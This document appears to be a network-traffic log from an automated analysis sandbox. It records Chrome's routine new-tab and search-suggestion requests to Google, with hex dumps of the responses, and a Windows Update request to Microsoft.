1	192.168.2.5	49707	142.250.186.132	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:16 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 01:46:17 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 01:46:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 01:46:17 UTC	336	IN	Data Raw: 31 63 61 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1cae)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 34 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700244,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 01:46:17 UTC	124	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 0d 0a Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about
2024-10-29 01:46:17 UTC	385	IN	Data Raw: 31 37 61 0d 0a 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 56 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 61 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e Data Ascii: 17a:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"ftp\"),new _.Vd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.ae\u003dclass{constructor(a){this.i\u003da}toStrin
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 Data Ascii: 8000;_.ce\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Numbe
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 65 65 5c 75 30 30 33 64 5f 2e 58 64 3b Data Ascii: de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.ue\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};ee\u003d_.Xd;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	142.250.186.132	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:16 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 01:46:17 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ueFJMDNlOu5DLzlenPZaDQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 01:46:17 UTC	112	IN	Data Raw: 39 31 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 6f 6c 64 20 61 6e 64 20 62 65 61 75 74 69 66 75 6c 20 73 70 6f 69 6c 65 72 73 20 6f 63 74 6f 62 65 72 20 32 38 22 2c 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 22 2c 22 72 65 76 69 65 77 73 20 64 72 61 67 6f 6e 20 61 67 65 20 74 68 65 20 76 65 69 6c 67 75 61 72 64 22 2c 22 64 65 63 Data Ascii: 916)]}'["",["bold and beautiful spoilers october 28","dallas cowboys","reviews dragon age the veilguard","dec
2024-10-29 01:46:17 UTC	1378	IN	Data Raw: 61 64 65 73 20 6d 65 6e 75 22 2c 22 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 61 75 72 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 73 73 69 20 73 73 64 69 20 76 61 20 73 74 69 6d 75 6c 75 73 20 63 68 65 63 6b 73 22 2c 22 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 20 70 73 35 20 6f 70 65 6e 20 62 65 74 61 22 2c 22 6e 66 6c 20 70 6c 61 79 65 72 73 20 65 61 74 20 75 6e 63 72 75 73 74 61 62 6c 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 Data Ascii: ades menu","northern lights aurora forecast","ssi ssdi va stimulus checks","monster hunter wilds ps5 open beta","nfl players eat uncrustables"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVH
2024-10-29 01:46:17 UTC	843	IN	Data Raw: 4b 65 6e 70 30 4b 31 56 4a 56 45 70 79 61 56 49 77 59 53 74 69 61 55 67 32 59 6d 4d 34 4f 46 6c 4e 63 31 59 33 55 47 64 45 63 6b 6c 73 61 55 46 6c 51 31 64 74 54 69 39 70 64 33 4a 33 61 55 77 77 63 55 39 50 54 43 74 71 63 6b 51 30 4f 56 4d 76 51 31 42 79 4e 7a 56 76 5a 6e 42 75 54 33 5a 49 52 6d 4d 31 53 53 38 33 5a 7a 6c 42 4b 30 56 54 55 6d 35 71 64 48 4d 34 64 6e 5a 51 54 54 56 36 64 55 39 45 53 33 46 58 5a 30 30 7a 4b 32 31 59 56 55 52 7a 57 55 5a 6b 4e 7a 42 70 55 55 64 51 52 47 56 6d 64 30 64 61 4e 30 4a 59 51 33 5a 42 4d 6d 5a 4e 56 6a 42 57 54 57 64 55 59 6d 68 74 61 57 31 72 53 47 34 34 54 47 5a 6d 52 7a 52 72 4e 32 35 58 53 55 39 4b 57 55 67 34 62 46 6c 47 56 6a 45 32 4f 58 6c 47 52 47 31 52 56 57 64 74 51 54 51 77 57 69 39 36 62 30 39 4d 65 46 Data Ascii: Kenp0K1VJVEpyaVIwYStiaUg2YmM4OFlNc1Y3UGdEcklsaUFlQ1dtTi9pd3J3aUwwcU9PTCtqckQ0OVMvQ1ByNzVvZnBuT3ZIRmM1SS83ZzlBK0VTUm5qdHM4dnZQTTV6dU9ES3FXZ00zK21YVURzWUZkNzBpUUdQRGVmd0daN0JYQ3ZBMmZNVjBWTWdUYmhtaW1rSG44TGZmRzRrN25XSU9KWUg4bFlGVjE2OXlGRG1RVWdtQTQwWi96b09MeF
2024-10-29 01:46:17 UTC	209	IN	Data Raw: 63 62 0d 0a 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 0d 0a Data Ascii: cb\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362
2024-10-29 01:46:17 UTC	182	IN	Data Raw: 62 30 0d 0a 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: b0],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-10-29 01:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.186.132	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 01:46:17 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 01:46:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 01:46:17 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 01:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TXBfPSsBeSvvhKV&MD=pRK4hGWm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 01:46:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c11fe067-b03d-4698-abf1-2ac0a4e582ba MS-RequestId: 78870516-0717-429c-92f2-840969d16756 MS-CV: hCDGWi3mm0els4Ue.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 01:46:20 GMT Connection: close Content-Length: 24490
